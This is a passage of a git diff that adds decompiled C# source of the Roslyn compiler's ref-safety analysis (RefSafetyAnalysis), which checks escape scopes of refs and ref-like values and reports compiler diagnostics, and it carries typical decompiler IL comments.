escapeTo, diagnostics)) + { + return false; + } + } + else if (!CheckValEscape(current.Syntax, current, escapeFrom, escapeTo, checkingReceiver: false, diagnostics)) + { + return false; + } + } + return true; + } + + private bool CheckValEscape(ImmutableArray expressions, uint escapeFrom, uint escapeTo, BindingDiagnosticBag diagnostics) + { + ImmutableArray.Enumerator enumerator = expressions.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + if (!CheckValEscape(current.Syntax, current, escapeFrom, escapeTo, checkingReceiver: false, diagnostics)) + { + return false; + } + } + return true; + } + + private bool CheckInterpolatedStringHandlerConversionEscape(BoundExpression expression, uint escapeFrom, uint escapeTo, BindingDiagnosticBag diagnostics) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + InterpolatedStringHandlerData interpolatedStringHandlerData = expression.GetInterpolatedStringHandlerData(); + CheckValEscape(expression.Syntax, interpolatedStringHandlerData.Construction, escapeFrom, escapeTo, checkingReceiver: false, diagnostics); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + GetInterpolatedStringHandlerArgumentsForEscape(expression, instance); + bool result = true; + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + if (!CheckValEscape(current.Syntax, current, escapeFrom, escapeTo, checkingReceiver: false, diagnostics)) + { + result = false; + break; + } + } + instance.Free(); + return result; + } + + private void GetInterpolatedStringHandlerArgumentsForEscape(BoundExpression expression, ArrayBuilder arguments) + { + while (expression is BoundBinaryOperator boundBinaryOperator) + { + GetInterpolatedStringHandlerArgumentsForEscape(boundBinaryOperator.Right, arguments); + expression = boundBinaryOperator.Left; + } + if (expression is BoundInterpolatedString interpolatedString) + { + getParts(interpolatedString); + return; + } + throw ExceptionUtilities.UnexpectedValue((object)expression.Kind); + void getParts(BoundInterpolatedString boundInterpolatedString) + { + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Invalid comparison between Unknown and I4 + ImmutableArray.Enumerator enumerator = boundInterpolatedString.Parts.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is BoundCall boundCall) + { + MethodSymbol method = boundCall.Method; + if ((object)method != null && method.Name == "AppendFormatted" && (!_useUpdatedEscapeRules || (int)boundCall.Method.Parameters[0].EffectiveScope != 2)) + { + arguments.Add(boundCall.Arguments[0]); + } + } + } + } + } + + private void ValidateRefConditionalOperator(SyntaxNode node, BoundExpression trueExpr, BoundExpression falseExpr, BindingDiagnosticBag diagnostics) + { + uint localScopeDepth = _localScopeDepth; + uint valEscape = GetValEscape(trueExpr, localScopeDepth); + uint valEscape2 = GetValEscape(falseExpr, localScopeDepth); + if (valEscape != valEscape2) + { + if (valEscape < valEscape2) + { + CheckValEscape(falseExpr.Syntax, falseExpr, localScopeDepth, valEscape, checkingReceiver: false, diagnostics); + } + else + { + CheckValEscape(trueExpr.Syntax, trueExpr, localScopeDepth, valEscape2, checkingReceiver: false, diagnostics); + } + diagnostics.Add(_inUnsafeRegion ? ErrorCode.WRN_MismatchedRefEscapeInTernary : ErrorCode.ERR_MismatchedRefEscapeInTernary, node.Location); + } + } + + private void ValidateAssignment(SyntaxNode node, BoundExpression op1, BoundExpression op2, bool isRef, BindingDiagnosticBag diagnostics) + { + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_00fb: Unknown result type (might be due to invalid IL or missing references) + if (op1.HasAnyErrors) + { + return; + } + bool flag = false; + if (isRef) + { + uint refEscape = GetRefEscape(op1, _localScopeDepth); + uint refEscape2 = GetRefEscape(op2, _localScopeDepth); + if (refEscape < refEscape2) + { + bool inUnsafeRegion = _inUnsafeRegion; + ErrorCode errorCode = ((refEscape2 == 1) ? (inUnsafeRegion ? ErrorCode.WRN_RefAssignReturnOnly : ErrorCode.ERR_RefAssignReturnOnly) : (inUnsafeRegion ? ErrorCode.WRN_RefAssignNarrower : ErrorCode.ERR_RefAssignNarrower)); + ErrorCode code = errorCode; + Error(diagnostics, code, SyntaxNodeOrToken.op_Implicit(node), getName(op1), op2.Syntax); + if (!_inUnsafeRegion) + { + flag = true; + } + } + else + { + BoundKind kind = op1.Kind; + if ((kind == BoundKind.Local || kind == BoundKind.Parameter) ? true : false) + { + uint valEscape = GetValEscape(op1, _localScopeDepth); + refEscape2 = GetValEscape(op2, _localScopeDepth); + if (valEscape > refEscape2) + { + ErrorCode code2 = (_inUnsafeRegion ? ErrorCode.WRN_RefAssignValEscapeWider : ErrorCode.ERR_RefAssignValEscapeWider); + Error(diagnostics, code2, SyntaxNodeOrToken.op_Implicit(node), getName(op1), op2.Syntax); + if (!_inUnsafeRegion) + { + flag = true; + } + } + } + } + } + if (!flag && op1.Type.IsRefLikeType) + { + uint valEscape2 = GetValEscape(op1, _localScopeDepth); + ValidateEscape(op2, valEscape2, isByRef: false, diagnostics); + } + static object getName(BoundExpression expr) + { + Symbol expressionSymbol = expr.ExpressionSymbol; + if ((object)expressionSymbol != null) + { + return expressionSymbol.Name; + } + if (expr is BoundArrayAccess) + { + return MessageID.IDS_ArrayAccess.Localize(); + } + if (expr is BoundPointerElementAccess) + { + return MessageID.IDS_PointerElementAccess.Localize(); + } + return ""; + } + } + + internal static void Analyze(CSharpCompilation compilation, MethodSymbol symbol, BoundNode node, BindingDiagnosticBag diagnostics) + { + RefSafetyAnalysis refSafetyAnalysis = new RefSafetyAnalysis(compilation, symbol, InUnsafeMethod(symbol), symbol.ContainingModule.UseUpdatedEscapeRules, diagnostics); + try + { + refSafetyAnalysis.Visit(node); + } + catch (CancelledByStackGuardException ex) + { + ex.AddAnError(diagnostics); + } + } + + private static bool InUnsafeMethod(Symbol symbol) + { + if (symbol is SourceMemberMethodSymbol { IsUnsafe: not false }) + { + return true; + } + NamedTypeSymbol containingType = symbol.ContainingType; + while ((object)containingType != null) + { + NamedTypeSymbol originalDefinition = containingType.OriginalDefinition; + if (originalDefinition is SourceMemberContainerTypeSymbol { IsUnsafe: not false }) + { + return true; + } + containingType = originalDefinition.ContainingType; + } + return false; + } + + private RefSafetyAnalysis(CSharpCompilation compilation, MethodSymbol symbol, bool inUnsafeRegion, bool useUpdatedEscapeRules, BindingDiagnosticBag diagnostics, Dictionary? localEscapeScopes = null) + { + _compilation = compilation; + _symbol = symbol; + _useUpdatedEscapeRules = useUpdatedEscapeRules; + _diagnostics = diagnostics; + _inUnsafeRegion = inUnsafeRegion; + _localScopeDepth = 1u; + _localEscapeScopes = localEscapeScopes; + } + + private (uint RefEscapeScope, uint ValEscapeScope) GetLocalScopes(LocalSymbol local) + { + Dictionary? localEscapeScopes = _localEscapeScopes; + if (localEscapeScopes == null || !localEscapeScopes.TryGetValue(local, out (uint, uint) value)) + { + return (RefEscapeScope: 0u, ValEscapeScope: 0u); + } + return value; + } + + private void SetLocalScopes(LocalSymbol local, uint refEscapeScope, uint valEscapeScope) + { + AddOrSetLocalScopes(local, refEscapeScope, valEscapeScope); + } + + private void AddPlaceholderScope(BoundValuePlaceholderBase placeholder, uint valEscapeScope) + { + if (_placeholderScopes == null) + { + _placeholderScopes = new Dictionary(); + } + _placeholderScopes[placeholder] = valEscapeScope; + } + + private void RemovePlaceholderScope(BoundValuePlaceholderBase placeholder) + { + } + + private uint GetPlaceholderScope(BoundValuePlaceholderBase placeholder) + { + Dictionary? placeholderScopes = _placeholderScopes; + if (placeholderScopes == null || !placeholderScopes.TryGetValue(placeholder, out var value)) + { + return 0u; + } + return value; + } + + public override BoundNode? VisitBlock(BoundBlock node) + { + UnsafeRegion unsafeRegion = new UnsafeRegion(this, _inUnsafeRegion || node.HasUnsafeModifier); + try + { + using (new LocalScope(this, node.Locals)) + { + return base.VisitBlock(node); + } + } + finally + { + unsafeRegion.Dispose(); + } + } + + public override BoundNode? Visit(BoundNode? node) + { + return base.Visit(node); + } + + public override BoundNode? VisitFieldEqualsValue(BoundFieldEqualsValue node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/RefSafetyAnalysis.cs", 293); + } + + public override BoundNode? VisitLocalFunctionStatement(BoundLocalFunctionStatement node) + { + LocalFunctionSymbol symbol = node.Symbol; + RefSafetyAnalysis refSafetyAnalysis = new RefSafetyAnalysis(_compilation, symbol, _inUnsafeRegion || symbol.IsUnsafe, _useUpdatedEscapeRules, _diagnostics, _localEscapeScopes); + refSafetyAnalysis.Visit(node.BlockBody); + refSafetyAnalysis.Visit(node.ExpressionBody); + return null; + } + + public override BoundNode? VisitLambda(BoundLambda node) + { + LambdaSymbol symbol = node.Symbol; + new RefSafetyAnalysis(_compilation, symbol, _inUnsafeRegion, _useUpdatedEscapeRules, _diagnostics, _localEscapeScopes).Visit(node.Body); + return null; + } + + public override BoundNode? VisitConstructorMethodBody(BoundConstructorMethodBody node) + { + using (new LocalScope(this, node.Locals)) + { + return base.VisitConstructorMethodBody(node); + } + } + + public override BoundNode? VisitForStatement(BoundForStatement node) + { + using (new LocalScope(this, node.OuterLocals)) + { + using (new LocalScope(this, node.InnerLocals)) + { + return base.VisitForStatement(node); + } + } + } + + public override BoundNode? VisitUsingStatement(BoundUsingStatement node) + { + using (new LocalScope(this, node.Locals)) + { + Visit(node.DeclarationsOpt); + Visit(node.ExpressionOpt); + ArrayBuilder<(BoundValuePlaceholderBase, uint)> instance = ArrayBuilder<(BoundValuePlaceholderBase, uint)>.GetInstance(); + BoundAwaitableInfo awaitOpt = node.AwaitOpt; + if (awaitOpt != null) + { + BoundExpression expressionOpt = node.ExpressionOpt; + uint valEscapeScope = ((expressionOpt != null) ? GetValEscape(expressionOpt, _localScopeDepth) : _localScopeDepth); + GetAwaitableInstancePlaceholders(instance, awaitOpt, valEscapeScope); + } + using (new PlaceholderRegion(this, instance)) + { + Visit(node.AwaitOpt); + Visit(node.Body); + return null; + } + } + } + + public override BoundNode? VisitUsingLocalDeclarations(BoundUsingLocalDeclarations node) + { + ArrayBuilder<(BoundValuePlaceholderBase, uint)> instance = ArrayBuilder<(BoundValuePlaceholderBase, uint)>.GetInstance(); + BoundAwaitableInfo awaitOpt = node.AwaitOpt; + if (awaitOpt != null) + { + GetAwaitableInstancePlaceholders(instance, awaitOpt, _localScopeDepth); + } + using (new PlaceholderRegion(this, instance)) + { + return base.VisitUsingLocalDeclarations(node); + } + } + + public override BoundNode? VisitFixedStatement(BoundFixedStatement node) + { + using (new LocalScope(this, node.Locals)) + { + return base.VisitFixedStatement(node); + } + } + + public override BoundNode? VisitDoStatement(BoundDoStatement node) + { + using (new LocalScope(this, node.Locals)) + { + return base.VisitDoStatement(node); + } + } + + public override BoundNode? VisitWhileStatement(BoundWhileStatement node) + { + using (new LocalScope(this, node.Locals)) + { + return base.VisitWhileStatement(node); + } + } + + public override BoundNode? VisitSwitchStatement(BoundSwitchStatement node) + { + Visit(node.Expression); + using (new LocalScope(this, node.InnerLocals)) + { + using (new PatternInput(this, GetValEscape(node.Expression, _localScopeDepth))) + { + VisitList(node.SwitchSections); + Visit(node.DefaultLabel); + return null; + } + } + } + + public override BoundNode? VisitConvertedSwitchExpression(BoundConvertedSwitchExpression node) + { + Visit(node.Expression); + using (new PatternInput(this, GetValEscape(node.Expression, _localScopeDepth))) + { + VisitList(node.SwitchArms); + return null; + } + } + + public override BoundNode? VisitSwitchSection(BoundSwitchSection node) + { + using (new LocalScope(this, node.Locals)) + { + return base.VisitSwitchSection(node); + } + } + + public override BoundNode? VisitSwitchExpressionArm(BoundSwitchExpressionArm node) + { + using (new LocalScope(this, node.Locals)) + { + return base.VisitSwitchExpressionArm(node); + } + } + + public override BoundNode? VisitCatchBlock(BoundCatchBlock node) + { + using (new LocalScope(this, node.Locals)) + { + return base.VisitCatchBlock(node); + } + } + + public override BoundNode? VisitLocal(BoundLocal node) + { + return base.VisitLocal(node); + } + + private void AddLocalScopes(LocalSymbol local, uint refEscapeScope, uint valEscapeScope) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Invalid comparison between Unknown and I4 + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Invalid comparison between Unknown and I4 + ScopedKind val = (ScopedKind)(_useUpdatedEscapeRules ? ((int)local.Scope) : 0); + if ((int)val != 0) + { + refEscapeScope = (((int)val == 1) ? _localScopeDepth : 2u); + valEscapeScope = (((int)val == 2) ? _localScopeDepth : 0u); + } + AddOrSetLocalScopes(local, refEscapeScope, valEscapeScope); + } + + private void AddOrSetLocalScopes(LocalSymbol local, uint refEscapeScope, uint valEscapeScope) + { + if (_localEscapeScopes == null) + { + _localEscapeScopes = new Dictionary(); + } + _localEscapeScopes[local] = (refEscapeScope, valEscapeScope); + } + + private void RemoveLocalScopes(LocalSymbol local) + { + } + + public override BoundNode? VisitLocalDeclaration(BoundLocalDeclaration node) + { + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + base.VisitLocalDeclaration(node); + BoundExpression initializerOpt = node.InitializerOpt; + if (initializerOpt != null) + { + SourceLocalSymbol sourceLocalSymbol = (SourceLocalSymbol)node.LocalSymbol; + uint refEscapeScope; + uint escapeTo; + (refEscapeScope, escapeTo) = GetLocalScopes(sourceLocalSymbol); + if (_useUpdatedEscapeRules && (int)sourceLocalSymbol.Scope != 0) + { + BoundTypeExpression? declaredTypeOpt = node.DeclaredTypeOpt; + if (declaredTypeOpt != null && declaredTypeOpt.Type.IsRefLikeType) + { + ValidateEscape(initializerOpt, escapeTo, isByRef: false, _diagnostics); + } + } + else + { + SetLocalScopes(sourceLocalSymbol, _localScopeDepth, _localScopeDepth); + escapeTo = GetValEscape(initializerOpt, _localScopeDepth); + if ((int)sourceLocalSymbol.RefKind != 0) + { + refEscapeScope = GetRefEscape(initializerOpt, _localScopeDepth); + } + SetLocalScopes(sourceLocalSymbol, refEscapeScope, escapeTo); + } + } + return null; + } + + public override BoundNode? VisitReturnStatement(BoundReturnStatement node) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Invalid comparison between Unknown and I4 + base.VisitReturnStatement(node); + BoundExpression expressionOpt = node.ExpressionOpt; + if (expressionOpt != null && (object)expressionOpt.Type != null) + { + ValidateEscape(expressionOpt, 1u, (int)node.RefKind > 0, _diagnostics); + } + return null; + } + + public override BoundNode? VisitYieldReturnStatement(BoundYieldReturnStatement node) + { + base.VisitYieldReturnStatement(node); + BoundExpression expression = node.Expression; + if (expression != null && (object)expression.Type != null) + { + ValidateEscape(expression, 1u, isByRef: false, _diagnostics); + } + return null; + } + + public override BoundNode? VisitAssignmentOperator(BoundAssignmentOperator node) + { + base.VisitAssignmentOperator(node); + if (node.Left.Kind != BoundKind.DiscardExpression) + { + ValidateAssignment(node.Syntax, node.Left, node.Right, node.IsRef, _diagnostics); + } + return null; + } + + public override BoundNode? VisitIsPatternExpression(BoundIsPatternExpression node) + { + Visit(node.Expression); + using (new PatternInput(this, GetValEscape(node.Expression, _localScopeDepth))) + { + Visit(node.Pattern); + return null; + } + } + + public override BoundNode? VisitDeclarationPattern(BoundDeclarationPattern node) + { + SetPatternLocalScopes(node); + using (new PatternInput(this, getDeclarationValEscape(node.DeclaredType, _patternInputValEscape))) + { + return base.VisitDeclarationPattern(node); + } + static uint getDeclarationValEscape(BoundTypeExpression typeExpression, uint valEscape) + { + if (!typeExpression.Type.IsRefLikeType) + { + return 0u; + } + return valEscape; + } + } + + public override BoundNode? VisitListPattern(BoundListPattern node) + { + SetPatternLocalScopes(node); + return base.VisitListPattern(node); + } + + public override BoundNode? VisitRecursivePattern(BoundRecursivePattern node) + { + SetPatternLocalScopes(node); + return base.VisitRecursivePattern(node); + } + + public override BoundNode? VisitPositionalSubpattern(BoundPositionalSubpattern node) + { + using (new PatternInput(this, getPositionalValEscape(node.Symbol, _patternInputValEscape))) + { + return base.VisitPositionalSubpattern(node); + } + static uint getPositionalValEscape(Symbol? symbol, uint valEscape) + { + if ((object)symbol != null) + { + if (!symbol.GetTypeOrReturnType().IsRefLikeType()) + { + return 0u; + } + return valEscape; + } + return valEscape; + } + } + + public override BoundNode? VisitPropertySubpattern(BoundPropertySubpattern node) + { + using (new PatternInput(this, getMemberValEscape(node.Member, _patternInputValEscape))) + { + return base.VisitPropertySubpattern(node); + } + static uint getMemberValEscape(BoundPropertySubpatternMember? member, uint valEscape) + { + if (member == null) + { + return valEscape; + } + valEscape = getMemberValEscape(member.Receiver, valEscape); + if (!member.Type.IsRefLikeType) + { + return 0u; + } + return valEscape; + } + } + + private void SetPatternLocalScopes(BoundObjectPattern pattern) + { + if (pattern.Variable is LocalSymbol local) + { + SetLocalScopes(local, _localScopeDepth, _patternInputValEscape); + } + } + + public override BoundNode? VisitConditionalOperator(BoundConditionalOperator node) + { + base.VisitConditionalOperator(node); + if (node.IsRef) + { + ValidateRefConditionalOperator(node.Syntax, node.Consequence, node.Alternative, _diagnostics); + } + return null; + } + + private void VisitArgumentsAndGetArgumentPlaceholders(BoundExpression? receiverOpt, ImmutableArray arguments) + { + for (int num = 0; num < arguments.Length; num++) + { + BoundExpression boundExpression = arguments[num]; + BoundConversion boundConversion = boundExpression as BoundConversion; + bool flag; + if (boundConversion != null && boundConversion.ConversionKind == ConversionKind.InterpolatedStringHandler) + { + BoundExpression operand = boundConversion.Operand; + if (operand is BoundInterpolatedString || operand is BoundBinaryOperator) + { + flag = true; + goto IL_0040; + } + } + flag = false; + goto IL_0040; + IL_0040: + if (flag) + { + InterpolatedStringHandlerData interpolationData = boundConversion.Operand.GetInterpolatedStringHandlerData(); + ArrayBuilder<(BoundValuePlaceholderBase, uint)> instance = ArrayBuilder<(BoundValuePlaceholderBase, uint)>.GetInstance(); + GetInterpolatedStringPlaceholders(instance, in interpolationData, receiverOpt, num, arguments); + new PlaceholderRegion(this, instance); + } + Visit(boundExpression); + } + } + + protected override void VisitArguments(BoundCall node) + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + VisitArgumentsAndGetArgumentPlaceholders(node.ReceiverOpt, node.Arguments); + if (!node.HasErrors) + { + MethodSymbol method = node.Method; + CheckInvocationArgMixing(node.Syntax, method, node.ReceiverOpt, node.InitialBindingReceiverIsSubjectToCloning, method.Parameters, node.Arguments, node.ArgumentRefKindsOpt, node.ArgsToParamsOpt, _localScopeDepth, _diagnostics); + } + } + + private void GetInterpolatedStringPlaceholders(ArrayBuilder<(BoundValuePlaceholderBase, uint)> placeholders, in InterpolatedStringHandlerData interpolationData, BoundExpression? receiver, int nArgumentsVisited, ImmutableArray arguments) + { + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + placeholders.Add(((BoundValuePlaceholderBase)interpolationData.ReceiverPlaceholder, _localScopeDepth)); + ImmutableArray.Enumerator enumerator = interpolationData.ArgumentPlaceholders.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundInterpolatedStringArgumentPlaceholder current = enumerator.Current; + int argumentIndex = current.ArgumentIndex; + uint item; + if (argumentIndex >= 0) + { + item = ((argumentIndex < nArgumentsVisited) ? GetValEscape(arguments[argumentIndex], _localScopeDepth) : 0u); + } + else + { + switch (argumentIndex) + { + case -1: + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)current.ArgumentIndex); + case -3: + case -2: + continue; + } + item = ((receiver != null) ? (receiver.GetRefKind().IsWritableReference() ? GetRefEscape(receiver, _localScopeDepth) : GetValEscape(receiver, _localScopeDepth)) : 0u); + } + placeholders.Add(((BoundValuePlaceholderBase)current, item)); + } + } + + public override BoundNode? VisitObjectCreationExpression(BoundObjectCreationExpression node) + { + VisitObjectCreationExpressionBase(node); + return null; + } + + public override BoundNode? VisitDynamicObjectCreationExpression(BoundDynamicObjectCreationExpression node) + { + VisitObjectCreationExpressionBase(node); + return null; + } + + public override BoundNode? VisitNewT(BoundNewT node) + { + VisitObjectCreationExpressionBase(node); + return null; + } + + public override BoundNode? VisitNoPiaObjectCreationExpression(BoundNoPiaObjectCreationExpression node) + { + VisitObjectCreationExpressionBase(node); + return null; + } + + private void VisitObjectCreationExpressionBase(BoundObjectCreationExpressionBase node) + { + VisitArgumentsAndGetArgumentPlaceholders(null, node.Arguments); + Visit(node.InitializerExpressionOpt); + if (!node.HasErrors) + { + MethodSymbol constructor = node.Constructor; + if ((object)constructor != null) + { + CheckInvocationArgMixing(node.Syntax, constructor, null, (ThreeState)0, constructor.Parameters, node.Arguments, node.ArgumentRefKindsOpt, node.ArgsToParamsOpt, _localScopeDepth, _diagnostics); + } + } + } + + public override BoundNode? VisitPropertyAccess(BoundPropertyAccess node) + { + return base.VisitPropertyAccess(node); + } + + public override BoundNode? VisitIndexerAccess(BoundIndexerAccess node) + { + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + Visit(node.ReceiverOpt); + VisitArgumentsAndGetArgumentPlaceholders(node.ReceiverOpt, node.Arguments); + if (!node.HasErrors) + { + PropertySymbol indexer = node.Indexer; + CheckInvocationArgMixing(node.Syntax, indexer, node.ReceiverOpt, node.InitialBindingReceiverIsSubjectToCloning, indexer.Parameters, node.Arguments, node.ArgumentRefKindsOpt, node.ArgsToParamsOpt, _localScopeDepth, _diagnostics); + } + return null; + } + + public override BoundNode? VisitFunctionPointerInvocation(BoundFunctionPointerInvocation node) + { + VisitArgumentsAndGetArgumentPlaceholders(null, node.Arguments); + if (!node.HasErrors) + { + FunctionPointerMethodSymbol signature = node.FunctionPointer.Signature; + CheckInvocationArgMixing(node.Syntax, signature, null, (ThreeState)0, signature.Parameters, node.Arguments, node.ArgumentRefKindsOpt, default(ImmutableArray), _localScopeDepth, _diagnostics); + } + return null; + } + + public override BoundNode? VisitAwaitExpression(BoundAwaitExpression node) + { + Visit(node.Expression); + ArrayBuilder<(BoundValuePlaceholderBase, uint)> instance = ArrayBuilder<(BoundValuePlaceholderBase, uint)>.GetInstance(); + GetAwaitableInstancePlaceholders(instance, node.AwaitableInfo, GetValEscape(node.Expression, _localScopeDepth)); + using (new PlaceholderRegion(this, instance)) + { + Visit(node.AwaitableInfo); + return null; + } + } + + private void GetAwaitableInstancePlaceholders(ArrayBuilder<(BoundValuePlaceholderBase, uint)> placeholders, BoundAwaitableInfo awaitableInfo, uint valEscapeScope) + { + BoundAwaitableValuePlaceholder awaitableInstancePlaceholder = awaitableInfo.AwaitableInstancePlaceholder; + if (awaitableInstancePlaceholder != null) + { + placeholders.Add(((BoundValuePlaceholderBase)awaitableInstancePlaceholder, valEscapeScope)); + } + } + + public override BoundNode? VisitImplicitIndexerAccess(BoundImplicitIndexerAccess node) + { + base.VisitImplicitIndexerAccess(node); + return null; + } + + public override BoundNode? VisitDeconstructionAssignmentOperator(BoundDeconstructionAssignmentOperator node) + { + base.VisitDeconstructionAssignmentOperator(node); + BoundTupleExpression left = node.Left; + BoundConversion right = node.Right; + ArrayBuilder deconstructionAssignmentVariables = GetDeconstructionAssignmentVariables(left); + VisitDeconstructionArguments(deconstructionAssignmentVariables, right.Syntax, right.Conversion, right.Operand); + ArrayBuilderExtensions.FreeAll(deconstructionAssignmentVariables, (Func>)((DeconstructionVariable v) => v.NestedVariables)); + return null; + } + + private void VisitDeconstructionArguments(ArrayBuilder variables, SyntaxNode syntax, Conversion conversion, BoundExpression right) + { + //IL_00f7: Unknown result type (might be due to invalid IL or missing references) + if (conversion.DeconstructionInfo.IsDefault || !(conversion.DeconstructionInfo.Invocation is BoundCall boundCall)) + { + return; + } + MethodSymbol method = boundCall.Method; + if ((object)method == null) + { + return; + } + ArrayBuilder<(BoundValuePlaceholderBase, uint)> instance = ArrayBuilder<(BoundValuePlaceholderBase, uint)>.GetInstance(); + instance.Add(((BoundValuePlaceholderBase)conversion.DeconstructionInfo.InputPlaceholder, GetValEscape(right, _localScopeDepth))); + ImmutableArray parameters = method.Parameters; + int count = variables.Count; + int num = (boundCall.InvokedAsExtensionMethod ? 1 : 0); + for (int i = 0; i < count; i++) + { + DeconstructionVariable deconstructionVariable = variables[i]; + ArrayBuilder? nestedVariables = deconstructionVariable.NestedVariables; + BoundDeconstructValuePlaceholder item = (BoundDeconstructValuePlaceholder)boundCall.Arguments[i + num]; + uint item2 = ((nestedVariables == null) ? GetValEscape(deconstructionVariable.Expression, _localScopeDepth) : _localScopeDepth); + instance.Add(((BoundValuePlaceholderBase)item, item2)); + } + using (new PlaceholderRegion(this, instance)) + { + CheckInvocationArgMixing(syntax, method, boundCall.ReceiverOpt, boundCall.InitialBindingReceiverIsSubjectToCloning, parameters, boundCall.Arguments, boundCall.ArgumentRefKindsOpt, boundCall.ArgsToParamsOpt, _localScopeDepth, _diagnostics); + for (int j = 0; j < count; j++) + { + ArrayBuilder nestedVariables2 = variables[j].NestedVariables; + if (nestedVariables2 != null) + { + (BoundValuePlaceholder? placeholder, BoundExpression? conversion) tuple = conversion.DeconstructConversionInfo[j]; + Conversion conversion2 = BoundNode.GetConversion(placeholder: tuple.placeholder, conversion: tuple.conversion); + VisitDeconstructionArguments(nestedVariables2, syntax, conversion2, boundCall.Arguments[j + num]); + } + } + } + } + + private ArrayBuilder GetDeconstructionAssignmentVariables(BoundTupleExpression tuple) + { + ImmutableArray arguments = tuple.Arguments; + ArrayBuilder instance = ArrayBuilder.GetInstance(arguments.Length); + ImmutableArray.Enumerator enumerator = arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + instance.Add(getDeconstructionAssignmentVariable(current)); + } + return instance; + DeconstructionVariable getDeconstructionAssignmentVariable(BoundExpression expr) + { + if (!(expr is BoundTupleExpression tuple2)) + { + return new DeconstructionVariable(expr, GetValEscape(expr, _localScopeDepth), null); + } + return new DeconstructionVariable(expr, uint.MaxValue, GetDeconstructionAssignmentVariables(tuple2)); + } + } + + private static ImmutableArray GetDeconstructionRightParts(BoundExpression expr) + { + if (!(expr is BoundTupleExpression boundTupleExpression)) + { + if (expr is BoundConversion { ConversionKind: var conversionKind } boundConversion && (conversionKind == ConversionKind.Identity || conversionKind == ConversionKind.ImplicitTupleLiteral)) + { + return GetDeconstructionRightParts(boundConversion.Operand); + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/RefSafetyAnalysis.cs", 976); + } + return boundTupleExpression.Arguments; + } + + public override BoundNode? VisitForEachStatement(BoundForEachStatement node) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0102: Unknown result type (might be due to invalid IL or missing references) + Visit(node.Expression); + ForEachEnumeratorInfo enumeratorInfoOpt = node.EnumeratorInfoOpt; + BoundExpression inlineArray; + if (enumeratorInfoOpt != null && (int)enumeratorInfoOpt.InlineArraySpanType != 0 && !enumeratorInfoOpt.InlineArrayUsedAsValue) + { + if (node.Expression is BoundConversion { Conversion: { IsIdentity: not false }, ExplicitCastInCode: false } boundConversion) + { + BoundExpression operand = boundConversion.Operand; + if (operand != null) + { + inlineArray = operand; + goto IL_0078; + } + } + inlineArray = node.Expression; + goto IL_0078; + } + uint num = GetValEscape(node.Expression, _localScopeDepth); + goto IL_00d4; + IL_00d4: + using (new LocalScope(this, ImmutableArray.Empty)) + { + ImmutableArray.Enumerator enumerator = node.IterationVariables.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + AddLocalScopes(current, ((int)current.RefKind == 0) ? _localScopeDepth : num, num); + } + ArrayBuilder<(BoundValuePlaceholderBase, uint)> instance = ArrayBuilder<(BoundValuePlaceholderBase, uint)>.GetInstance(); + BoundDeconstructValuePlaceholder boundDeconstructValuePlaceholder = node.DeconstructionOpt?.TargetPlaceholder; + if (boundDeconstructValuePlaceholder != null) + { + instance.Add(((BoundValuePlaceholderBase)boundDeconstructValuePlaceholder, num)); + } + BoundAwaitableInfo awaitOpt = node.AwaitOpt; + if (awaitOpt != null) + { + GetAwaitableInstancePlaceholders(instance, awaitOpt, num); + } + using (new PlaceholderRegion(this, instance)) + { + Visit(node.IterationVariableType); + Visit(node.IterationErrorExpressionOpt); + Visit(node.DeconstructionOpt); + Visit(node.AwaitOpt); + Visit(node.Body); + enumerator = node.IterationVariables.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current2 = enumerator.Current; + RemoveLocalScopes(current2); + } + return null; + } + } + IL_0078: + ImmutableArray arguments; + ImmutableArray refKinds; + SignatureOnlyMethodSymbol inlineArrayConversionEquivalentSignatureMethod = GetInlineArrayConversionEquivalentSignatureMethod(inlineArray, node.EnumeratorInfoOpt.GetEnumeratorInfo.Method.ContainingType, out arguments, out refKinds); + num = GetInvocationEscapeScope(inlineArrayConversionEquivalentSignatureMethod, null, (ThreeState)0, inlineArrayConversionEquivalentSignatureMethod.Parameters, arguments, refKinds, default(ImmutableArray), _localScopeDepth, isRefEscape: false); + goto IL_00d4; + } + + private static void Error(BindingDiagnosticBag diagnostics, ErrorCode code, SyntaxNodeOrToken syntax, params object[] args) + { + Location location = ((SyntaxNodeOrToken)(ref syntax)).GetLocation(); + Error(diagnostics, code, location, args); + } + + private static void Error(BindingDiagnosticBag diagnostics, ErrorCode code, Location location, params object[] args) + { + ((BindingDiagnosticBag)diagnostics).Add((Diagnostic)(object)new CSDiagnostic((DiagnosticInfo)(object)new CSDiagnosticInfo(code, args), location)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/RegionAnalysisContext.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/RegionAnalysisContext.cs new file mode 100644 index 0000000..573b435 --- /dev/null +++ 